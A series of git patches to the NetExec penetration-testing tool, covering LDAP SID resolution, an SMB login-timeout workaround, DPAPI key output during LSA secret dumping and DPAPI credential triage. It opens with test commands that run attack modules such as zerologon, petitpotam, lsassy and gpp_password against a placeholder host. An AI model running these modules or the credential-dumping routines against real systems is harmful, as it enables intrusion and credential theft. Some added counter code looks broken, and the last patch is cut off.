LOGIN_PASSWORD KERBEROS -M lockscreendoors # test for multiple modules at once -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M uac -M webdav -M wifi -M coerce_plus +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M printnightmare -M runasppl -M uac -M webdav -M wifi -M coerce_plus ##### SMB Anonymous Auth netexec smb TARGET_HOST -u '' -p '' -M zerologon netexec smb TARGET_HOST -u '' -p '' -M petitpotam From 4235593af5431dc49eee22e08fd69c4475cbe53a Mon Sep 17 00:00:00 2001 From: Joachim De Bats Date: Wed, 29 Jul 2026 09:18:47 +0200 Subject: [PATCH 139/397] fix ldap resolution failure --- nxc/modules/gpp_privileges.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/nxc/modules/gpp_privileges.py b/nxc/modules/gpp_privileges.py index d680a54780..8c5a979577 100644 --- a/nxc/modules/gpp_privileges.py +++ b/nxc/modules/gpp_privileges.py @@ -1,6 +1,7 @@ import re from io import BytesIO from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldapasn1 as ldapasn1_impacket from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes @@ -130,12 +131,19 @@ def on_login(self, context, connection): privileges = self.extract_privileges(content) if privileges: ldap_connection = None + base_dn = None if not self.no_ldap: ldap_connection = self.initialize_ldap_connection(connection) + root = ldap_connection.search( + scope=ldapasn1_impacket.Scope("baseObject"), + attributes=["defaultNamingContext"], + sizeLimit=0, + ) + base_dn = parse_result_attributes(root)[0]["defaultNamingContext"] self.context.log.success(f"Privileges extracted from {path}:") for privilege, sids in privileges.items(): - resolved_sids = [self.resolve_sid(sid, ldap_connection) for sid in sids] + resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids] self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}") if ldap_connection: @@ -193,7 +201,7 @@ def initialize_ldap_connection(self, connection): return None return ldap_connection - def resolve_sid(self, sid, ldap_connection): + def resolve_sid(self, sid, ldap_connection, base_dn): """Resolves a SID to a human-readable name using well-known mappings or LDAP queries.""" if sid in self.WELL_KNOWN_SIDS: return self.WELL_KNOWN_SIDS[sid] @@ -201,11 +209,11 @@ def resolve_sid(self, sid, ldap_connection): if ldap_connection: try: resp = ldap_connection.search( + searchBase=base_dn, searchFilter=f"(objectSid={sid})", attributes=["sAMAccountName"], ) parsed_result = parse_result_attributes(resp) - if parsed_result and "sAMAccountName" in parsed_result[0]: return f"{parsed_result[0]['sAMAccountName']}" else: From 577ded5ad8a6634cf0d179ceed8d0e324969684e Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 30 Jul 2026 22:37:13 +0200 Subject: [PATCH 140/397] fix from review --- nxc/protocols/smb.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index eb0123e967..eccf141275 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -200,11 +200,8 @@ def enum_host_info(self): self.no_ntlm = True self.logger.debug("NTLM not supported") - # The Kerberos/MSRPC DC probes reach out to ports 88/135; only allow them - # when the DC answer is actually consumed, so a plain scan (especially - # over a pivot) stays on the SMB session it already holds. Tier 1 (SMB) - # runs regardless, so DCs are still flagged whenever a null session works. - need_dc = bool(self.args.generate_hosts_file or self.args.generate_krb5_file or self.args.generate_tgt) + aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file) + self.is_host_dc(aggressive_check=aggressive_check) # self.domain is the attribute we authenticate with # self.targetDomain is the attribute which gets displayed as host domain @@ -220,10 +217,8 @@ def enum_host_info(self): self.targetDomain = self.conn.getServerDNSDomainName() if not self.targetDomain: # Not sure if that can even happen but now we are safe self.targetDomain = self.hostname - self.is_host_dc(allow_network_probes=need_dc) # SMB (Tier 1) suffices when NTLM is up else: try: - self.is_host_dc(allow_network_probes=need_dc) # no NTLM: needs 88/135 if the DC answer is wanted # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available if self.isdc and detect_if_ip(self.host): self.hostname, self.domain = LDAPResolution(self.host).get_resolution() @@ -850,12 +845,12 @@ def generate_st(self): except Exception as e: self.logger.fail(f"Failed to get ST: {e}") - def is_host_dc(self, allow_network_probes=False): + def is_host_dc(self, aggressive_check=False): if self.isdc is not None: return self.isdc probes = [self._is_dc_via_smb] - if allow_network_probes: + if aggressive_check: probes += [self._is_dc_via_rpc, self._is_dc_via_kerberos] for probe in probes: @@ -864,7 +859,7 @@ def is_host_dc(self, allow_network_probes=False): self.isdc = result return self.isdc # inconclusive if all probes return None - if allow_network_probes: + if aggressive_check: self.isdc = False return self.isdc From 288a3340d373de5dbaebd3237bbaefe67fd14503 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 30 Jul 2026 16:51:44 -0400 Subject: [PATCH 141/397] Update lock file --- poetry.lock | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/poetry.lock b/poetry.lock index 29e1f23207..bc6fd63ef8 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.4.1 and should not be changed by hand. [[package]] name = "aardwolf" @@ -2990,4 +2990,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "25f60e7259f7357057bcd2bb0bcc33475123c141864172753791300d45a04698" +content-hash = "06b6bb8d03df489bbccc835c0650c83407c4d5d7961e171df7a5144386d8ea56" From 74811feaba075edbeaa71aa8a4a07189e11767af Mon Sep 17 00:00:00 2001 From: XedSama <20247169+XedSama@users.noreply.github.com> Date: Fri, 31 Jul 2026 14:22:53 +0200 Subject: [PATCH 142/397] Update smb.py --- nxc/protocols/smb.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index d7695ab3ef..81518ab588 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -489,7 +489,14 @@ def plaintext_login(self, domain, username, password): self.username = username self.domain = domain + self.conn.setTimeout(self.args.smb_timeout + 1) + self.logger.debug(f"Increased timeout to {self.args.smb_timeout + 1} seconds") + self.conn.login(self.username, self.password, domain) + + self.conn.setTimeout(self.args.smb_timeout) + self.logger.debug(f"Decreased timeout to {self.args.smb_timeout} seconds") + self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") @@ -557,7 +564,14 @@ def hash_login(self, domain, username, ntlm_hash): if nthash: self.nthash = nthash + self.conn.setTimeout(self.args.smb_timeout + 1) + self.logger.debug(f"Increased timeout to {self.args.smb_timeout + 1} seconds") + self.conn.login(self.username, "", domain, lmhash, nthash) + + self.conn.setTimeout(self.args.smb_timeout) + self.logger.debug(f"Decreased timeout to {self.args.smb_timeout} seconds") + self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") From 1c6e3247fa6abbb13613504b4d85561a2a867621 Mon Sep 17 00:00:00 2001 From: XedSama <20247169+XedSama@users.noreply.github.com> Date: Fri, 31 Jul 2026 14:34:52 +0200 Subject: [PATCH 143/397] Improvement with contextlib --- nxc/protocols/smb.py | 34 +++++++++++++++++----------------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 81518ab588..9a3c5b24c8 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -359,6 +359,17 @@ def print_host_info(self): return self.host, self.hostname, self.targetDomain + @contextlib.contextmanager + def auth_timeout(self): + self.conn.setTimeout(self.args.smb_timeout + 1) + self.logger.debug(f"Increased timeout to {self.args.smb_timeout + 1} seconds") + try: + yield + finally: + with contextlib.suppress(Exception): + self.conn.setTimeout(self.args.smb_timeout) + self.logger.debug(f"Decreased timeout to {self.args.smb_timeout} seconds") + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.logger.debug(f"KDC set to: {kdcHost}") # Re-connect since we logged off @@ -403,7 +414,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if self.args.generate_st: self.save_st(tgs, sk, spn if self.args.spn else None) - self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) + with self.auth_timeout(): + self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) if self.args.generate_st: try: @@ -489,14 +501,8 @@ def plaintext_login(self, domain, username, password): self.username = username self.domain = domain - self.conn.setTimeout(self.args.smb_timeout + 1) - self.logger.debug(f"Increased timeout to {self.args.smb_timeout + 1} seconds") - - self.conn.login(self.username, self.password, domain) - - self.conn.setTimeout(self.args.smb_timeout) - self.logger.debug(f"Decreased timeout to {self.args.smb_timeout} seconds") - + with self.auth_timeout(): + self.conn.login(self.username, self.password, domain) self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") @@ -564,14 +570,8 @@ def hash_login(self, domain, username, ntlm_hash): if nthash: self.nthash = nthash - self.conn.setTimeout(self.args.smb_timeout + 1) - self.logger.debug(f"Increased timeout to {self.args.smb_timeout + 1} seconds") - - self.conn.login(self.username, "", domain, lmhash, nthash) - - self.conn.setTimeout(self.args.smb_timeout) - self.logger.debug(f"Decreased timeout to {self.args.smb_timeout} seconds") - + with self.auth_timeout(): + self.conn.login(self.username, "", domain, lmhash, nthash) self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") From 2edf87d8c039bdb31bf95425bb04a24f8eae4ac0 Mon Sep 17 00:00:00 2001 From: XedSama <20247169+XedSama@users.noreply.github.com> Date: Fri, 31 Jul 2026 14:56:45 +0200 Subject: [PATCH 144/397] Update smb.py --- nxc/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 9a3c5b24c8..e5c2ac583b 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -503,7 +503,7 @@ def plaintext_login(self, domain, username, password): with self.auth_timeout(): self.conn.login(self.username, self.password, domain) - self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") + self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") if "Unix" not in self.server_os: @@ -572,7 +572,7 @@ def hash_login(self, domain, username, ntlm_hash): with self.auth_timeout(): self.conn.login(self.username, "", domain, lmhash, nthash) - self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") + self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) self.logger.debug(f"{self.is_guest=}") if "Unix" not in self.server_os: From b6d6b2d3cbdeb90fdf2c347c07f44c96272559bc Mon Sep 17 00:00:00 2001 From: XedSama <20247169+XedSama@users.noreply.github.com> Date: Fri, 31 Jul 2026 15:42:01 +0200 Subject: [PATCH 145/397] Update smb.py --- nxc/protocols/smb.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index e5c2ac583b..019e17e42e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -414,8 +414,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if self.args.generate_st: self.save_st(tgs, sk, spn if self.args.spn else None) - with self.auth_timeout(): - self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) + self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) if self.args.generate_st: try: From 4fe5ae661f48352b2ff41f2a2f40e2e65d8dfc5a Mon Sep 17 00:00:00 2001 From: XedSama <20247169+XedSama@users.noreply.github.com> Date: Fri, 31 Jul 2026 16:26:04 +0200 Subject: [PATCH 146/397] Update smb.py --- nxc/protocols/smb.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 019e17e42e..54f4bea982 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -359,6 +359,7 @@ def print_host_info(self): return self.host, self.hostname, self.targetDomain + # check https://github.com/Pennyw0rth/NetExec/issues/1077 @contextlib.contextmanager def auth_timeout(self): self.conn.setTimeout(self.args.smb_timeout + 1) From 50f5f07aca98870c68a4ce5dd77baf63b6578538 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 31 Jul 2026 11:02:52 -0400 Subject: [PATCH 147/397] Added some documentation/explanation --- nxc/protocols/smb.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 54f4bea982..dccffd2691 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -361,7 +361,15 @@ def print_host_info(self): # check https://github.com/Pennyw0rth/NetExec/issues/1077 @contextlib.contextmanager - def auth_timeout(self): + def increase_auth_timeout(self): + """ + Windows Server 2025 and later implemented a rate limiter for NTLM authentication attempts: + https://learn.microsoft.com/en-us/windows-server/storage/file-server/configure-smb-authentication-rate-limiter + + Therefore, we increase the timeout for the authentication process by 1 in order to overcome the 2 seconds rate limit + that would otherwise result in a NetBIOSTimeout exception for invalid credentials. + Also see: https://github.com/Pennyw0rth/NetExec/issues/1077 + """ self.conn.setTimeout(self.args.smb_timeout + 1) self.logger.debug(f"Increased timeout to {self.args.smb_timeout + 1} seconds") try: @@ -501,7 +509,7 @@ def plaintext_login(self, domain, username, password): self.username = username self.domain = domain - with self.auth_timeout(): + with self.increase_auth_timeout(): self.conn.login(self.username, self.password, domain) self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) @@ -570,7 +578,7 @@ def hash_login(self, domain, username, ntlm_hash): if nthash: self.nthash = nthash - with self.auth_timeout(): + with self.increase_auth_timeout(): self.conn.login(self.username, "", domain, lmhash, nthash) self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}") self.is_guest = bool(self.conn.isGuestSession()) From 506ebd75ef05751e905f5a19e0350546dbb1c000 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 31 Jul 2026 11:09:41 -0400 Subject: [PATCH 148/397] Add documentation for bloodhound collector --- nxc/protocols/ldap/proto_args.py | 2 +- nxc/protocols/smb.py | 1 - 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index f0aaa817d1..c4fc901a1e 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -45,7 +45,7 @@ def proto_args(parser, parents): ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud") - bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan") + bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan. Default collector: Bloodhound CE, for legacy support see config file") bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, ADCS, All. You can specify more than one by separating them with a comma.") return parser diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index dccffd2691..4667436117 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -359,7 +359,6 @@ def print_host_info(self): return self.host, self.hostname, self.targetDomain - # check https://github.com/Pennyw0rth/NetExec/issues/1077 @contextlib.contextmanager def increase_auth_timeout(self): """ From a093f3a33a589f2cdd6cf4c29f2cf6932d7c4a5c Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Fri, 31 Jul 2026 17:22:11 +0200 Subject: [PATCH 149/397] Fixing an ancient typo --- nxc/protocols/ldap/proto_args.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index c4fc901a1e..6383686066 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -44,7 +44,7 @@ def proto_args(parser, parents): ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided") ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") - bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud") + bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhound") bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan. Default collector: Bloodhound CE, for legacy support see config file") bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, ADCS, All. You can specify more than one by separating them with a comma.") From 5f109a4bcdc4202e488e2eef26dd0bd9568dd3ee Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 1 Aug 2026 16:20:30 -0400 Subject: [PATCH 150/397] Functionalize basedn query --- nxc/modules/gpp_privileges.py | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/nxc/modules/gpp_privileges.py b/nxc/modules/gpp_privileges.py index 8c5a979577..2d198f6900 100644 --- a/nxc/modules/gpp_privileges.py +++ b/nxc/modules/gpp_privileges.py @@ -134,12 +134,7 @@ def on_login(self, context, connection): base_dn = None if not self.no_ldap: ldap_connection = self.initialize_ldap_connection(connection) - root = ldap_connection.search( - scope=ldapasn1_impacket.Scope("baseObject"), - attributes=["defaultNamingContext"], - sizeLimit=0, - ) - base_dn = parse_result_attributes(root)[0]["defaultNamingContext"] + base_dn = self.get_basedn(ldap_connection) self.context.log.success(f"Privileges extracted from {path}:") for privilege, sids in privileges.items(): @@ -149,6 +144,14 @@ def on_login(self, context, connection): if ldap_connection: ldap_connection.close() + def get_basedn(self, ldap_connection): + root = ldap_connection.search( + scope=ldapasn1_impacket.Scope("baseObject"), + attributes=["defaultNamingContext"], + sizeLimit=0, + ) + return parse_result_attributes(root)[0]["defaultNamingContext"] + def extract_privileges(self, content): """Parses the content of GptTmpl.inf to extract privilege rights.""" privileges = {} From 100f3a1428b315a692c608325b383efcc3a269ee Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 1 Aug 2026 17:40:49 -0400 Subject: [PATCH 151/397] Fix dpapi key output in lsa --- nxc/protocols/mssql.py | 6 +++++- nxc/protocols/smb.py | 11 +++++++---- nxc/protocols/winrm.py | 7 +++++-- 3 files changed, 17 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 3e88ecc59f..e7d4c0916b 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -627,9 +627,13 @@ def lsa(self): def lsa_secret_callback(_, secret): self.logger.highlight(secret) - if "dpapi_machinekey" in secret: + if "dpapi_machinekey" not in secret: + self.logger.highlight(secret) + else: correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") LSA = LSASecrets( f"{output_filename}.security", boot_key, diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 865e3e3507..bb6931744b 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2255,7 +2255,13 @@ def lsa(self): def add_lsa_secret(secret): add_lsa_secret.secrets += 1 - self.logger.highlight(secret) + if "dpapi_machinekey" not in secret: + self.logger.highlight(secret) + else: + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") if "_SC_GMSA_{84A78B8C" in secret: gmsa_id = secret.split("_")[4].split(":")[0] data = bytes.fromhex(secret.split("_")[4].split(":")[1]) @@ -2266,9 +2272,6 @@ def add_lsa_secret(secret): ntlm_hash.update(currentPassword) passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") - if "dpapi_machinekey" in secret: - correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} - self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} add_lsa_secret.secrets = 0 diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 81a88371b8..f8c13521f0 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -398,10 +398,13 @@ def lsa(self): boot_key = local_operations.getBootKey() def lsa_secret_callback(_, secret): - self.logger.highlight(secret) - if "dpapi_machinekey" in secret: + if "dpapi_machinekey" not in secret: + self.logger.highlight(secret) + else: correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") LSA = LSASecrets( f"{output_filename}.security", boot_key, From 2f11e2f41e1a24cc0592f93a5ed8949e29973ceb Mon Sep 17 00:00:00 2001 From: zblurx Date: Sun, 2 Aug 2026 22:22:25 +0200 Subject: [PATCH 152/397] few changes related to reviews --- nxc/helpers/dpapi.py | 193 ++++++++++++++++++++++------------ nxc/modules/dpapi_hash.py | 2 - nxc/protocols/wmi/database.py | 7 +- 3 files changed, 129 insertions(+), 73 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 6001d43def..85f00f2574 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -14,6 +14,11 @@ def upgrade_to_dploot_connection(target, context=None): + """ + DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part. + This function gets the calling NXC protocol and tries reuse the already opened connection + on DPLoot directly. If not it opens up a new connection. + """ conn = None protocol = target.protocol try: @@ -53,6 +58,13 @@ def upgrade_to_dploot_connection(target, context=None): class DPAPITriage: + """ + This class is the DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class. + Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize + it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also + to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc. + + """ def __init__(self, context, target: Target): self.context = context self.target = target @@ -60,78 +72,38 @@ def __init__(self, context, target: Target): self.conn = None self.dump_cookies = False self.masterkeys = [] - self.pvkbytes = None + self._pvkbytes = None if context.args.dpapi is not None: self.dump_cookies = "cookies" in context.args.dpapi + # Variables to know what materkey types have already been dumped self.system_masterkeys_already_dumped = False self.users_masterkeys_already_dumped = False + # Initialize the connection here, if you need this class then you will need the connection self.init_connection() def init_connection(self): + """Tries to initiate a DPLootConnection object from a NXC connection""" if self.conn is not None: self.context.logger.debug("DPLoot connection already initiated, skipping.") return self.conn = upgrade_to_dploot_connection(context=self.context, target=self.target) if self.conn is None: - self.context.logger.debug("Could not initiate DPLoot connection") + self.context.logger.fail("Could not upgrade connection to allow DPAPI triage") return - def get_domain_backup_key(self): - if self.pvkbytes is not None: - return self.pvkbytes - - pvkbytes = None - if hasattr(self.context.args, "pvk") and self.context.args.pvk is not None: - try: - with open(self.context.args.pvk, "rb") as fd: - pvkbytes = fd.read() - self.context.logger.success(f"Loading domain backupkey from {self.context.args.pvk}") - except Exception as e: - self.context.logger.fail(str(e)) - if pvkbytes is None: - try: - results = self.context.db.get_domain_backupkey(self.context.domain) - except Exception: - self.context.logger.fail( - "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" - ) - return False - if len(results) > 0: - self.context.logger.success("Loading domain backupkey from nxcdb...") - pvkbytes = results[0][2] - elif self.context.no_da is None and self.context.args.local_auth is False: - try: - dc_target = SMBTarget.create( - domain=self.context.domain, - username=self.context.username, - password=self.context.password, - address=self.context.domain, # querying DNS server for domain will return DC - lmhash=self.context.lmhash, - nthash=self.context.nthash, - do_kerberos=self.context.kerberos, - aesKey=self.context.aesKey, - use_kcache=self.context.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - self.context.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - pvkbytes = backupkey.backupkey_v2 - self.context.db.add_domain_backupkey(self.context.domain, pvkbytes) - else: - self.context.no_da = False - except Exception as e: - self.context.logger.fail(f"Could not get domain backupkey: {e}") - self.pvkbytes = pvkbytes - return pvkbytes - def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): + """ + Get and decrypt masterkeys from the target. + dump_users: If True, then user masterkeys will be collected if they have not already been + dump_system: If True, then system masterkeys will be collected if they have not already been + """ + # If we have already dumped everything, then we won't find new stuff + if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped: + return self.masterkeys + masterkeys = [] plaintexts = {} nthashes = {} @@ -153,8 +125,6 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): if self.context.nthash != "": nthashes[self.context.username.lower()] = self.context.nthash - self.get_domain_backup_key() - # Now prepare the SYSTEM part if (dump_system and self.context.dpapi_system_key is None @@ -176,16 +146,16 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): ) self.context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + # Collect User Masterkeys if this has not already been done if dump_users and not self.users_masterkeys_already_dumped: self.context.logger.display("Collecting DPAPI Users masterkeys") - self.context.logger.debug("Collecting user masterkeys") masterkeys += masterkeys_triage.triage_masterkeys() # if multiple functionalities are calling masterkeys triage, make sur we do it only once self.users_masterkeys_already_dumped = True + # Collect SYSTEM Masterkeys if this has not already been done if self.context.dpapi_system_key is not None and not self.system_masterkeys_already_dumped: self.context.logger.display("Collecting DPAPI SYSTEM masterkeys") - self.context.logger.debug("Collecting machine masterkeys") masterkeys += masterkeys_triage.triage_system_masterkeys() # if multiple functionalities are calling masterkeys triage, make sur we do it only once self.system_masterkeys_already_dumped = True @@ -198,8 +168,10 @@ def collect_masterkeys_from_target(self, dump_users: True, dump_system: False): return self.masterkeys def triage_credentials(self, masterkeys: list[Masterkey]): + credential_counter = 0 # Collect User and Machine Credentials Manager secrets def credential_callback(credential): + credential_counter += 1 tag = "CREDENTIAL" line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" self.context.logger.highlight(line) @@ -221,9 +193,12 @@ def credential_callback(credential): credentials_triage.triage_system_credentials() except Exception as e: self.context.logger.debug(f"Error while looting credentials: {e}") + return credential_counter def triage_chromium(self, masterkeys: list[Masterkey]): + credential_counter = 0 cng_chromekey = None + # We need the CNG triage to recover Chrome passwords since Chrome v137 try: cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys) for cng_file in cng_triage.triage_system_cng(): @@ -235,6 +210,7 @@ def triage_chromium(self, masterkeys: list[Masterkey]): # Collect Chrome Based Browser stored secrets def browser_callback(secret): + credential_counter += 1 if isinstance(secret, LoginData): secret_url = secret.url + " -" if secret.url != "" else "-" line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" @@ -273,9 +249,13 @@ def browser_callback(secret): browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey) except Exception as e: self.context.logger.debug(f"Error while looting browsers: {e}") + + return credential_counter def triage_vaults(self, masterkeys: list[Masterkey]): + credential_counter = 0 def vault_callback(secret): + credential_counter += 1 tag = "IEX" if secret.type == "Internet Explorer": resource = secret.resource + " -" if secret.resource != "" else "-" @@ -299,8 +279,12 @@ def vault_callback(secret): except Exception as e: self.context.logger.debug(f"Error while looting vaults: {e}") + return credential_counter + def triage_firefox(self): + credential_counter = 0 def firefox_callback(secret): + credential_counter += 1 tag = "FIREFOX" if 